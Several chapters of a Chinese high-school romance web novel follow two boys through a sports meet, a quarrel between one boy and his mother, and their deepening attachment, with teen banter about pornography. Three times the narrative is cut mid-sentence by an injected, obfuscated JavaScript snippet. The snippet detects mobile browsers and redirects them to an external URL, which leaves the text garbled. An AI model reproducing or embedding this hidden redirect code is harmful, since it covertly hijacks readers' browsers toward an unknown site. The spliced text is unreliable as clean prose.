“方妈我们终于第一了!文武双全!” “草啊,等一下,严妄和骆危楼都这么庆祝第一的吗?” 严妄冲过终点的一瞬间,视线终于变得清晰,看到骆危楼站在不远处,刹不住直接撞上去。 骆危楼算好了距离,顺势往后退了几步,刚好靠在墙边。 严妄一只手撑着墙,另一只手匆忙抓住他的肩膀,“你是不是有病,万一摔倒——” 骆危楼圈着他,腿还岔开了一些,方便他刹住,“第一名,严妄。” “摔倒你脑子,坏了我怎么跟——”严妄叽里咕噜,说一半愣住,原本就大的眼睛一下睁圆,“第一?!” 剧烈运动后呼吸不平,最后一个字直接破音。 骆危楼点头,视线往他身后看去,发现秦子辰站在原地看他们,不知道在想什么。 “第一!”严妄喊了一声,直接跳到骆危楼身上,“小楼,我们第一!” 骆危楼抱住他,生怕他太激动摔下来。 赵不凡和周戈跑过来,原本是打算兄弟抱一下,庆祝庆祝,站在旁边左看右看,最后两个人勾肩搭背,意思意思抱了下。 “第一!” 严妄低头看骆危楼,“我是不是跑得特别快?” 骆危楼“嗯”了声,“领先了一个身位,都不用裁判交流核对,特别第一的第一。” 严妄兴奋得眼睛亮亮的,朝看台那边的班里同学挥手。 这个第一拿得太爽了。 没半点争议,就是名正言顺的第一。 “要不要下来?”骆危楼抬头问他,“再抱下去,全校都能人手一张你现在的照片了。” 严妄一愣,“嘁”了声,满不在乎地下来,“有就有呗,我们俩就是关系好啊。” 周戈在旁边“yue”了声,“又不是你最讨厌学神的时候了?” 严妄伸手一捏,手动给他闭麦,“菜死你了。” 周戈无力反驳,只能干脆地闭嘴。 去签到确认成绩的时候,全班都兴奋得不得了,叽叽喳喳说着要班主任请客。 方文韵看着成绩签到上面的秒数,大手一挥,点了两个人跟她去超市里买零食。 班长留下坐镇,监督其他人去检录比赛,最后一次校运会,必须全勤。 骆危楼过去拿水,严妄站在原地,呼吸还没完全喘匀。 “妄崽,快过来,我给你拍了好多照片!”孙雯宁在那选照片,抬头喊严妄过去。 严妄正要走过去,秦子辰不知道从哪冒出来。 “跑这么快,要不要跟我一样练体育?” 严妄翻他一个白眼,“谁要跟你一起练。” 秦子辰倒不生气,笑着朝骆危楼那里看去,在骆危楼发现前,低声说:“知道我初三的时候为什么退学吗?” 严妄愣住,“什么意思?” “问问你那位好哥哥呗。”秦子辰丢下一句话,转身跟其他人走了,离开田径场。 去你的好哥哥。 骆危楼顶多算他小弟,也不是,反正不是好哥哥。 严妄走到看台边,还没出声,骆危楼就把水塞到他手里。 “慢点喝。”骆危楼看向田径场出口,“他跟你说了什么?” 正要分享照片的孙雯宁:“?” 很快把手机缩了回来,转头去问别人。 “谁啊?” “别装傻。” “。” 严妄边喝水边觑他,“他喊我问你,他初三为什么会退学。” 骆危楼垂了垂眼,脸上表情变了变。 严妄叉着腰,“我觉得他有病,他退学的事,你怎么会知道。” 骆危楼身上才变得低沉的气息,瞬间恢复平常。 “站会儿再坐。” 严妄嘟囔一声,干脆搭在他肩上靠着,“你好啰嗦啊,骆危楼同学。” 骆危楼挑眉,“尾巴快翘到天上了。” “第一名,就翘就翘。”严妄半点不介意,“心里爽。” 骆危楼摇头,低头拿手机给严妄发了张照片。 冲过终点的。 - 校运会后,紧跟着就到了国庆假期。 不用调休、不用换课的假期,对高一高二学生来说,简直不要太开心。 至于高三学生,那就是无数张卷子要写。 放假前两天,严妄和骆危楼都在家里写作业,一直到第三天,才约着去附近的台球厅玩。 严妄在家里待了两天,憋坏了。 专心致志地打了两台,忽然觉得不太对劲,拿着球杆瞥到坐在沙发里的骆危楼,才想起来骆危楼都没玩。 看眼他拿着的手机,不用看屏幕都知道大概率是练习题。 “学神太努力了,看得我良心不安。”周戈撑着球杆,“要不我们回去学习吧?” 孙雯宁翘着腿,抬眼看他,“那你回去吧。” “嗳,骆危楼,你跳哪?我跟随你吧。” 严妄一杆打出去,直接空了,一脑门问号回头,“你们在打游戏?” “那不然?”孙雯宁点了跟随,“豆妹在家出不来,我们俩本来一起排,后来我看学神上线,就拉了赵不凡一起,我们在四排。” 严妄目光瞬间扫向骆危楼,骆危楼仅仅抬了下头。 难道就不应该解释一下吗?出来玩,不跟他玩台球,坐在那里打游戏也不叫他。 亏他 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周戈摇摇头,走过去跟孙雯宁他们打下一局,还把旁边的奶茶拿起来喝了一口。 “那是学神——”孙雯宁来不及阻止,“不过学神没喝。” 周戈差点呛着,“我差点都想把喝进去的吐出来了。” 严妄听到,嫌弃地看他,“你恶心不恶心啊?” 骆危楼懒得理他们俩拌嘴,只是拿出手机,看了看消息。 陆舍青这一阵又在出差,说是这两天会回来。 在台球厅玩到饭点,四个人在附近的餐馆吃了一顿麻辣烫,各回各家。 周戈家最远,严妄看他往地铁站走,让他到家后在群里发个消息。 回到家,他俩陪着江杉和杨孟生看了会儿电视,又回房间写卷子到十一点,骆危楼起身打算回家。 严妄原本趴在桌上,听他说要回去,愣了下抬头。 “我妈这两天回来,不知道是哪天。”骆危楼收了一下自己的卷子,“我不在,她会不安。” 严妄点点头,抓起放旁边的手机,“谁问你了,赶紧去,我要玩会儿手机。” 骆危楼目光落在他身上几秒,移开后,拿上卷子和笔,“别关灯玩,眼睛受不了。” “好了好了,我开着灯的,你去吧。”严妄往床上一趟,“明天什么时候上来?” “给你发消息。”骆危楼说完,往房间外走。 严妄等他走到门口,才看过去,察觉他要回头,又立即看回手机。 骆危楼替他带上门,在客厅里跟江杉、杨孟生说话的声音,隐隐穿过房门。 直到客厅里骆危楼的声音消失,严妄才翻了个身,趴在枕头上。 其实他挺喜欢陆舍青的,因为陆舍青总是给他买好吃的、好玩的,小时候还总带他们俩一起出去玩。 对着他的时候,陆舍青完全没脾气,总夸他乖、可爱。 小孩子哪有不喜欢好脾气大人的呢,还是一个漂亮阿姨。 可正因为这样,越长大他越不明白,陆舍青对他和对骆危楼完全两个样子。 对骆危楼也不是凶,但总有一种又亲又远的感觉。 严妄叹了一声,他没问过大人陆舍青和骆一州离婚的原因,那会儿太小了,也不记得。 但他知道,陆舍青超级、特别讨厌骆一州。 无奈地叹了一声,严妄刷了一会儿视频和游戏,无聊地点开群,翻着聊天记录。 聊旅游的、聊补习的、聊游戏的…… 反正就是没有学习的。 严妄怀疑这还是一群高三生吗?选择遗忘自己也才刷完视频。 【周戈:兄弟们,给你们分享一个链接,速看!】 【赵不凡:?非法访问?】 【刘晋安:????】 【孙雯宁:周戈你发的什么鬼东西,这里不是你的小群!!】 【罗恬:……我还是不点了】 【高高:我去!】 严妄正要点进链接,就看到一条撤回,然后另一个沉寂已久的群弹了出来。 ? 什么东西啊。 【周戈:草,发错群了,我这不是压力太大,所以……】 【赵不凡:你有个屁的压力,别装。】 【刘晋安:???】 【严妄:什么东西?】 下一秒,周戈又撤回了。 严妄:??? 什么东西啊,怎么每次他要点开,就撤回啊! 刚进家门的骆危楼,站在一片漆黑的玄关,看着网页打开的链接。 手指一动,转到了浏览器,然后关掉微信内置链接,给周戈发了一条消息。 【别发了,小心被封号。】 19. 第 19 章 严妄觉得骆危楼这几天怪怪的,不来他房间写作业就算了,还不跟他一起去打球。 问就是要忙竞赛,没时间。 没时间才怪,他下楼去跟人打球的时候,经过骆危楼房间窗户,人明明在家。 哪有竞赛不去学校上课,在家自学的。 况且他还有内应。 【关欣然:竞赛课?没有啊,放假期间我们不上竞赛课。】 严妄趴在桌上,关掉手机屏,拿笔狠狠在草稿纸上戳了几个点。 太过分了,骆危楼竟然学会了对他撒谎。 “妄崽,等会儿给小楼和你陆阿姨送点橙子下去,你大伯寄来的。” 江杉声音在房间外响起。 严妄有气无力答应了声,看看时间,才八点多。 坐直后,忿忿拿过一张卷子,捏着笔决定写完这张卷子再去。 撒谎的人不配他第一时间去送橙子。 刚做了两道选择题,忍不住站起来,走到窗户旁,探出大半身体往骆危楼家看去。 房间灯亮着的,人在家。 不过在他也不想现在去,他要让骆危楼也尝尝被晾在一边的滋味。 关了窗户,严妄坐回书桌前,拿着笔强迫自己专心写卷子。 两层楼之隔,陆舍青坐在沙发前,看着对面的骆危楼,眉头紧锁,表情称得上难看。 家里的气氛降至冰点,一点声音没有,呼吸声变得尤为突出。 “难道你不需要向我解释一下吗?” 陆舍青气得胸口明显起伏,“骆危楼,你才多大,你就看这些东西!” 骆危楼面无表情地靠墙站着,掀起眼看了看陆舍青,“没什么好解释的。” 陆舍青冷笑一声,“不需要解释,好,那你是不是也不需要我养?你现在是未成年,我是你的监护人,你的事情我就能管!” “是谁发给你这些乱七八糟的东西,成人电影,你学会了一个人在房间里看着这种东西!” 她看着骆危楼毫无反应的脸,几乎是歇斯底里般,情绪失控,彻底失去了理智,“是不是等哪天别人父母上门,说我儿子搞大了他们女儿的肚子,你才肯跟我解释?!” 太难听了。 骆危楼皱了下眉,却又在听到内容的时候,松了一口气。 幸好,只是看到这些。 如果…… “妈,不要假设不会发生的事。”骆危楼表情松动,往前一步,想要挪开茶几上的杯子,怕摔坏后玻璃溅到陆舍青。 陆舍青猛地站起来,挥开桌上的杯子,“什么叫不会发生?在你爸出轨以前,我也觉得不会发生!” 骆危楼动作一顿,停了下来。 “我一点都不喜欢小孩,又吵又闹还喜欢哭,需要人照顾,一分钟都离不开人!” 陆舍青瘫软在沙发上,盯着骆危楼,“他可以为了要一个孩子出轨,那我——” “我就不该生下你。” “咚”一声,门外响起闷响。 骆危楼面无表情的脸上终于有了一丝裂痕,他仿佛溺水的人,猛地清醒过来。 他看着陆舍青,“是,你不该把我生下来,让我像个孤儿一样活着。” 没有我,对你来说或许是解脱。 陆舍青表情一变,对上骆危楼眼里的怨恨,身体的力气一瞬间抽空,又急速上涌。 最后她只是狼狈地抓起旁边的包和手机,踉跄着跑出客厅。 打开客厅的门,一箱橙子四处散落。 陆舍青顾不上追究,很快跑出了单元门。 躲在楼梯背面的严妄,捂着自己的嘴,眼神担心又害怕,直到脚步声消失,他才靠在墙上,小口小口呼吸。 他听到了,陆阿姨说不想要孩子,不该生下骆危楼。 可为什么啊,明明骆危楼小时候那么可爱,还聪明、听话,连妈妈都说,小楼是特别好的孩子。 严妄鼻子有些发酸,眼睛跟着也红了,无意识地吸了吸鼻子。 他听了都这么难过,那骆危楼得多难过啊。 “橙子不要了吗?” 忽然传来的声音,吓得严妄一哆嗦,脑袋撞在楼梯背面,发出闷响。 他捂着头,脸疼得皱起来。然后,看见了骆危楼。 骆危楼站在一边,脸上表情很臭,“还不出来,想再撞到吗?” 严妄撇嘴,弯腰从里面出来,身上沾了不少灰,白色短袖变得脏兮兮的。 “……我、我是来送橙子的。” 骆危楼“嗯”了声,转身去门口把橙子捡起来,“进来。” 严妄跟在他后面,进去后把门关上,还小心翼翼地看了看其他家,刚才话有没有被人听到。 骆危楼把橙子放到阳台的桌上,回来时,发现严妄站在客厅,浑身不自在,东看西看。 “去洗一下脸和手。” 严妄立即答应,迅速往卫生间走。 “等一下。” 严妄听到,原地站了个军姿。 骆危楼走过去,抬手摸了摸他后脑勺,“撞到哪里了?” “哎哎哎,没事,你别摸了——嘶!疼啊!”严妄痛呼一声,“是破皮了吗?” 骆危楼收了手,“只是肿了,我去拿点猪油给你擦。” “不要那个,好油的。”严妄拉住骆危楼,“自己会消肿的,我——” 他想问为什么陆舍青那么生气,又想问骆危楼难过的话不用藏。 可对上骆危楼的眼神,什么都不想问了。 严妄拉着骆危楼,让他在过道等着自己洗手、洗脸。 擦干时,看到他靠在墙上,微低着头,阴影笼罩了脸,看上去就很难过。 严妄抿着唇,一脸快要哭出来的表情,张开手抱住陆危楼,“小楼,你不要难过好不好?” 骆危楼呼吸一促,心脏仿佛停止跳动,而后又飞速跳动。 “……没有。” 严妄声音哽咽,“陆阿姨是喜欢你的,你生病的时候,她还请假回来,她只是、只是气过头了,外婆还说过把我扔垃圾筒呢。” “严妄。” “……今晚我在这里陪你好不好?” “严妄,松手。” “不要,我陪你,抱抱就不难过了。” 骆危楼放松下来,继续靠在墙上,看着严妄。 他当然知道陆舍青对自己又爱又恨,就像他一样。 父母对他来说可有可无,但刚才那瞬间,陆舍青说出不该生出他的时候,他被刺痛得报复回去。 没有人生来就会当父母,可他也是第一次当孩子。 他想,他生下来可能就是来讨债的。 但谁欠谁多一点,算不清了。 严妄抱着骆危楼,几乎紧紧贴在一起,薄薄的短袖根本没有什么作用。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025658|162243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骆危楼能感觉到严妄的体温,还有皮肤的接触。 忽然,他心里恶劣的情绪被勾起,微微垂眼看严妄,“你不问我做了什么,让她这么生气吗?” 严妄抬起头,愣了一下,“……你是不是打算下次语文交白卷?” 骆危楼:“……” 笑了一下,少有地露出一排牙,“知道群里链接发的什么吗?黄.片,□□那种。” 黄、黄——片? 严妄大脑反应了一下,才正确理解骆危楼的话。 几乎是同时,他脸一下红温,飞快拿开自己的手,往后退到抵着墙。 “你、你怎么会看那种东西!” “什么东西?我是男生,发育正常,大家都在看啊。” 严妄磕磕巴巴,一句反驳的话都说不出来,指着骆危楼,急得脸憋得更红了。 不对不对。 骆危楼才不应该看这种片子,那都是、都是…… 是什么严妄说不出来。 “我都没看,你也不许看!”严妄半天才憋出一句,盯着骆危楼,“你……不许再看了!” 骆危楼挑眉,恶劣地耸肩,“我已经看了好几天。” 严妄瞪大眼,“所以你这几天不跟我出去玩?” “你又不看,叫你看的话,多污染你的眼睛。”骆危楼抬脚往房间走,“你要怕的话,那回去吧,我要睡了。” 严妄站在原地,看着骆危楼进房间,又想起了自己刚才的豪言壮语。 ——今晚陪你。 在过道里站了几分钟,严妄突然往房间里走,看眼骆危楼,直接扑到他床上。 骆危楼站在书桌前,扫他一眼。 “我只比你小两个月,你能看的,我也能看。”严妄哼了声,“你也太不小心了,看这种东西怎么能让阿姨看到。” 骆危楼淡淡道:“群里链接转出来的时候,忘记删记录了。” 严妄瞪大眼,咂摸出背后的意思,拿出手机,立即给周戈发了一个暴揍一顿的表情包。 果然,周戈撤回的不是什么好东西! “真要在这里睡?”骆危楼走到床边,看着他。 严妄:“说了要陪你,就是陪你,你——” 他打量着骆危楼,意外发现不知不觉中,骆危楼发育得是挺好,肩宽、腰窄、腿长,还有…… 目光不自觉往下移,记忆只停留在上初中前。 严妄红着脸,嗫嚅着问:“你、你是有那个了吗?所以才看这个。” 这个那个,骆危楼轻松理解。 他掀开被子,刚要上床,严妄立即弹开,眼底一抹暗色闪过,“我还有两个月满十八,你觉得呢?” 严妄不语,只是往被子里钻。 “难道你没有?早上起来不会?”骆危楼躺下,问:“我现在也还有反应。” 严妄快要被点燃了,捂住耳朵,直接缩进被子里,“你才没有!我早就有了好吧!做梦都能梦到,超级——” 梦里根本没有。 骆危楼无声笑了笑,“关灯吗?” “关关关!你烦死了!”严妄炸毛,“谁要知道你有没有反应啊!阿姨在家,你还敢看!” 骆危楼没接话,只是关了灯。 今晚他没看,反应是有,但不是因为什么黄.片,而是—— 他深吸一口气,闭上眼时,脑海浮现一双红着含泪的眼睛。 20. 第 20 章 国庆假期转瞬即逝,高三生又恢复了紧张的备考状态。 周考、月考、期中考接踵而至。 写不完的试卷、做不完的习题、讲不完的课。 再有精力的人,到了这个时候,也被磋磨了意志,人生只剩下学习二字。 期中考结束,成绩单发下来,高三六班教室传出好几声猴叫,宛如人猿泰山扎堆。 方文韵拍了好几次讲台,差点把三角尺敲碎一个角。 “今天发下去的成绩单,带回去给家长签字,下周再交回来,不许自己签,更不能让其他同学帮忙签。” 方文韵拍拍手,“学期过半,希望各位同学早日收心,接下来的七个月,将会你们在高中的最后七个月,好好努力,别留遗憾。” “好——!” “那今天的班会就到这里,下周一升旗仪式,不许有人迟到。” 方文韵还没说完,班上已经作年兽散,闹哄哄的。 严妄盯着成绩单看,忽地拿起来弹了弹,然后折起来揣进口袋,再去看骆危楼。 胳膊撞了一下,“重回第一的感觉,怎么样?” 骆危楼收起成绩单,和其他书、笔一起塞进书包,“一般。” 严妄无语,“你真的好装啊。” 嫌弃看他一眼,“外婆说今天做虾滑粉丝煲,等会——” 话没说完,肩上被人重重拍了一巴掌,跟着一沉,周戈大半个人都压下来。 “严妄,今天去不去潇洒一下!” “不去,我有事。” 周戈震惊,不解问:“什么事啊?国庆那几天你说是有事,后来你说要复习,现在都考完期中了,你还有什么要忙的?” 严妄差点被问住,好在反应快,“难道你考完期中就不用考下次月考,不用考期末考和高考了吗?” 飞快把桌上东西收进书包,“能不能收收心,都高三的人了,什么时候玩不是玩——” “我问老赵和孙仙儿去。” 周戈立即打断严妄,“你跟唐僧似的。” 严妄抬脚要踢他,被躲开,也不追过去,“那你下回掉分别叫我捞你。” “别别别,我开玩笑的,你忙你的去吧,有空再约哦。”周戈给严妄抛了个媚眼,闪身离开。 严妄一个寒噤,起了一身鸡皮疙瘩。 抖抖肩膀,回头看骆危楼,“走了,回家。” 骆危楼拿着书包站起来,“这次进步了很多名,可以去玩会儿,记得回家就行。” 严妄皱起眉,推着他往教室外走,“你怎么罗里吧嗦的啊,烦不烦你。” “真的,没关系——” “你闭嘴,再说我就真不陪你了。” 骆危楼挑了下眉,“为了陪我?” 严妄瞪他,“别明知故问,非得我说出来,你烦不烦人啊!回家,我都要饿死了!” 好凶啊。 但完全不吓人,也没威慑力。 骆危楼勾起他书包,顺手拎过来,“回家路过水果店,买点车厘子回去?” 严妄手插在口袋,走得飞快,“吃啊,吃穷你。” “那你要失望了,骆一州刚给我转了一笔生活费。”骆危楼走在他后面,盯着他后脑勺睡得翘起的几根头发。 “阿姨、她还要出差很久吗?” 严妄停下等骆危楼,语气一下软了。 “可能吧。”骆危楼抬手在他后脑勺轻轻扇了下,“走了,别站在楼梯口。” 严妄嘴唇动了动,想说什么又咽了回去。 从上次吵架,陆舍青就一直没出现过。 偶尔回家一趟,还是从他外公外婆那里知道的,回来拿点东西,或者放点东西,然后就走了。 不等骆危楼放学,也不跟他们交代什么,连买的东西,都是给他们老人的,和骆危楼有关的一点没有。 再怎么不知情,老两口也反应过来,这母子俩怕是又吵架了。 想劝吧,一个不是自己的孩子,几十岁人有自己的主意。 至于另一个,眼看着就要成年,那主意也不小,这个年纪自尊心又强,不知道从哪劝起。 倒是想过从严妄嘴里套出一点话来,结果平时跟个漏勺一样的嘴,愣是一点信儿都不往外冒。 好在看起来都没什么,过了一个多月,渐渐就不再担心。 “发什么呆,坐后面。”骆危楼骑上自行车,“你那车胎周末拿去换了。” 严妄干巴巴应了声,坐到骆危楼自行车后座,“不知道什么东西扎的,谁那么缺德把钉子丢路上。” 骆危楼挂号书包,“发现了就行。” 车骑出去,两人有一句没一句说着话。 严妄一脸心事重重,有人跟他打招呼都没留意到,手自然环着骆危楼的腰。 等出了校门口,他才开口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025659|162243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“骆危楼,其实阿姨她那话是气话,你——” 别难过好不好,别当真行不行。 后面的话他说不出口,所以只能拿手指戳了戳骆危楼后腰。 骆危楼差点方向打偏,蹙了下眉,“别乱戳。” “……你腰这么敏感啊,小时候怎么不觉得。”严妄缩回手,又心痒难耐想再试试。 “在马路上,别手痒。” 骆危楼声音从头顶前方传来,严妄悻悻地放下手,安安分分坐着。 不碰就不碰,大不了回家再碰。 到了房间里,还能有危险吗? “我知道。” “啊?” “我妈说的是气话。” 严妄刚松一口气,又听骆危楼开口。 “但也是真话。” 骆危楼把着车,拐进了另一条街,声音和语气听上去跟刚才一样,但严妄觉得是难过的。 严妄悄悄收紧胳膊,靠在骆危楼背上,“小楼……” “她不喜欢小孩,也不喜欢我,但因为我是他儿子,所以她对我有母子之情。” 好绕,但严妄听懂了。 他觉得骆危楼说的不对,陆阿姨是喜欢骆危楼的。 严妄想争辩,可他一想到这一个多月来,陆舍青躲着不跟骆危楼见面,又不忍心了。 “反正我喜欢你。” 骆危楼一个急刹,停在了水果店门口,“什么?” “喜欢你啊。”严妄重复,“我们俩一起长大,我不喜欢你,让你来我家干什么?” 严妄跳下后座,“对了,你别早恋啊,要高考呢。” 骆危楼心情仿佛过山车,在原地站了快半分钟,才从刚才那句“喜欢”里回神。 低头时轻轻摇了摇头。 真是,从发现自己对严妄的感情变质后,差点忘了这人从小到大,哄谁都是这一套,把喜欢两个字挂在嘴边。 跟不要钱似的。 严妄看着面前的车厘子,“我要这个,3J的!” 骆危楼面无表情,拿起一边的橘子,“买不起,买这个。” 水果店老板一听,立即剥了一个,“来尝尝,包甜的。” 严妄:“……” 是谁刚才说有钱的?算了,他要照顾骆危楼的心情。 严妄接过老板递来的橘子,一口咬下去,差点吐出来。 好酸啊! 21. 第 21 章 严妄趴在桌面,扭头去看骆危楼,装着车厘子的碗恰好挡住了他的小动作。 饱满、圆润的车厘子,带着水珠挤在碗里。 平时喜欢敞着的窗户,在进入十一月后,大半时间都是关着。 窗帘不再被风吹动,卷子和书也不会发出“哗哗”的声音,取而代之是空调风的呼呼声。 骆危楼翻了一页,微微偏头,看向碗后枕在书上的脑袋,声音很轻地开口,“又在琢磨什么乱七八糟的事?” 严妄抬手,抠了抠桌面,“没什么。” “心思都不知道飞到哪儿去了,还没什么。”骆危楼侧身,“要有什么,你是不是直接从窗户跳出去?” “烦人。” 严妄动了动脑袋,“我在思考人生。” 骆危楼:“那思考出什么了?” 严妄:“思考出你是一个很烦的人,这个结论。” 骆危楼挑眉,“现在才知道?” 严妄嘀咕,“还挺有自知之明的。” 骆危楼看了他一会儿,知道他又犯老毛病了,一旦成绩进步、得了点便宜,就立即心思乱飞,注意力不集中,七想八想。 懒得管他,专心看自己的书。 看了没两页,椅子腿被碰了一下。 骆危楼把书合上,刚想要直接把严妄提溜到床上,强制关机,胳膊忽地被戳了戳。 才刚起来的那一点不耐烦,瞬间化为空气。 “喂。” “怎么了?哪里不舒服。” 严妄摇头,手指在桌面画着圈,一副心事重重又不好开口的样子。 他看了好几眼骆危楼,才小声说:“能不能不早恋啊。” 骆危楼差点没跟上严妄的脑回路,没太明白,前面说的和这件事是怎么联系上的。 皱起眉,“什么?” 严妄看骆危楼一脸不明所以,不知道哪里来的底气,“什么啊,在我面前就不用装了吧,你和那个二班班花,就关欣然,你俩不是一起上竞赛班,还在教室门口说了好久的话,加上那次你救了她,送她回家,不就是要早恋吗?” 什么跟什么,乱七八糟的。 怎么就和关欣然有关系了? “哪里听来这些乱七八糟的,谁告诉你的?” “不用谁告诉,我两只眼睛看到的。” 骆危楼嗤了声,“那你得去检查一下视力,是不是出现幻觉了。” 严妄:“……” “别我揭穿你了,你就人身攻击我。” 骆危楼抬手搭着桌面,好整以暇问:“所以你觉得我要和关欣然早恋,但你不想谈恋爱?” 严妄下意识点头,忽地意识到不对,立即反驳,“什么叫我不想你谈恋爱,我是要告诉你,谈恋爱可能会影响学习,而且现在高三,真的喜欢那也可以等到高考结束,千万不要——” 高考结束? 他一顿,想到高考结束后,骆危楼和关欣然在一起,那画面…… 骆危楼眼底浮起笑意,“不要什么?” 严妄瞪他,“反正不许早恋。” 骆危楼挑眉,“这么霸道?” 严妄刚想要再次反驳,房门忽地被敲响了两下,紧跟着传来杨孟生的声音。 “声音小点,别把你们外婆吵醒了。” 严妄:“……” 静如鹌鹑地缩了缩脖子,拿了颗车厘子堵住嘴,顺便瞪向骆危楼。 都怪你。 骆危楼无辜地耸肩,站起来走到床边,“睡前记得刷牙。” “你好啰嗦啊,我又不是小学生。”严妄塞了几颗在嘴里,起来往外走,“你、那个,你和关欣然真的没早恋?那你在教室门口——” 骆危楼掀开被子,床上一片冰凉,“九月份的事,你能记到现在,你暗恋她?” 严妄觉得骆危楼太会倒打一耙了,“不要污蔑我,还有关欣然!” 不想再搭理这个只会胡说八道的人,严妄伸手打开门,决定去刷牙。 “她那天来教室,是问我竞赛课的事,然后聊了几句物理题。” “要听吗?” 物理? 严妄背一僵,决定离开这个可怕的地方。 愿此生,高考结束后和物理不再有任何交集。 - 高三的日子过得很快,明明期中考才过去不久,元旦假期就即将到来。 而假期后,半个多月的时间就是期末考。 介于期中考的成绩,还有前几天终于回来的陆舍青,严妄心情好得不得了。 甚至上课走神的次数都大大降低。 方文韵讲完一道经典数列题,看向严妄时,发现他两眼发亮、表情专注,心里颇为感动。 太难得了。 下课铃声一响,班里发出一声哀嚎,纷纷往桌上一趴。 “我感觉脑子要不够用了,学神,刚才那个数列题——” “我给你讲。” 周戈拿着卷子,差点卡机,“你给我讲?” 严妄皱眉,“什么表情和语气?难道我看上去像是学渣吗?” “对不起对不起,我只是有点震惊,你竟然没走神。”周戈看眼骆危楼,心想严妄是他兄弟,第一遍没明白要求再讲一遍应该好说话一点,立即倒戈。 “你给我讲,我就爱听你讲。” 邻座的孙雯宁翻了个白眼,掏出镜子,理了理头发,“赵不凡,你敢在教室里拍你那个破篮球,我立即连人带球一起丢出去。” 蠢蠢欲动的赵不凡缩回手,抬眼看向孙雯宁手里的镜子,默默倒回桌面。 赵不凡:“什么时候才结束啊,这样的日子。” 孙雯宁:“六个月,一百八十天。” 周戈:“……天啊,好漫长。” 严妄拿笔戳了一下周戈,不满道:“讲卷子,你听不听?” 周戈转回来,对上骆危楼看来的眼神,莫名心虚,“听听听,学神、啊不,老大,你讲到哪了?” 严妄摇摇头,觉得周戈没救了。 其实周戈还是有救的。 在以严妄为首,骆危楼、孙雯宁、班长和豆妹为辅的学习小分队拖拽下,成功离开班级倒数十名,并且爬进了正数四十五名。 课间就十分钟,讲题花了八分钟。 严妄趁着最后两分钟,去前面饮水机接水,顺手把骆危楼的杯子也捎上。 他一走,孙雯宁就问骆危楼,“他这样,你都不管管?” 骆危楼正在算一道题,愣了下才问:“什么样?” 孙雯宁一脸你也没救的表情,“他都乐成这样子,跟磕了药一样……算了,你俩的事我一直看不懂,就当我没问。” 她不懂,真的一点都不懂。 “你那个男朋友还没分?”骆危楼忽然问。 孙雯宁没否认,但也没接话,“就那样吧。” 骆危楼蹙眉,“谈归谈,别跟他一起去那些地方混。” 没等孙雯宁说什么,接水回来的严妄就抢了先。 “这次我站在骆危楼这边。”严妄把水杯递给骆危楼,回到座位坐好,“你那个男朋友,没想好好学,也没想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025660|162243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过以后的事,你谈就谈了,别跟他一起混。” 孙雯宁抿了下唇,“哦”了声转回去,没再说什么。 前面原本还想问题的周戈,拿着卷子默默转回去,还跟赵不凡对视了一眼。 两脸茫然,不太懂发生了什么。 严妄觉得孙雯宁没听进去,但上课铃响,又不好再说,只能碰碰骆危楼胳膊,写了一张小纸条传过去。 【嗳,刚才孙仙儿说什么,你突然提起她那个男朋友?】 【上课,回家说。】 严妄看着纸条,搓吧搓吧塞进口袋里。 回家说就回家说吧,反正他俩一起。 放学回家的点,陆舍青正好从外面回来,手里还拎了菜,看着是从哪儿打包回来的。 看到他俩从车棚走来,特地停下等他们。 “今天上课怎么样啊?是不是要放元旦了?”陆舍青看看骆危楼,视线停在严妄身上。 严妄笑着点头,“小楼今天还代替老师讲题了,说他考了满分,讲卷子的话,可以巩固自己的知识,还能跟我们分享一下答题思路,更容易理解。” 陆舍青诧异看眼骆危楼,脸上笑容稍微收敛,但比起刚回来那几天已经算得上柔和。 “是吗?我以为小楼在学校不爱说话,他讲题思路可能不好理解。” “才没有,你看孙、孙协文、刘晋安都经常问他题。”严妄差点说出孙雯宁名字,转了个弯说了班里化学课代表的。 “阿姨,你买的什么啊,好香!是不是大闸蟹?” 陆舍青收回看骆危楼的目光,往楼道里走,“就你鼻子尖,闻得出来。” “香辣大闸蟹?那太好了,今晚一起吃!” “就是买了上楼吃的,还有蒜香口味,照顾老两口。” 骆危楼背着书包,跟在他们后面,除了一开始喊了声妈之外,没再开过口。 倒不是因为上次看片那事,是别的。 骆一州前两周给他打电话打得很勤,他接了就放在一边,写卷子时,偶尔回一两句。 直到骆一州受不了,说出了目的,问他大学准备选哪里。 按照他的成绩,根据前些年几所名牌大学的录取名额,大概率是他选学校,不是学校选他。 顶尖的学府,常理里就那两所。 但再放宽到专业、城市和未来就业,其实还有得选。 骆一州的想法是去他那儿,早早积累人脉,不管是继续深造,还是创业,那都会轻松很多。 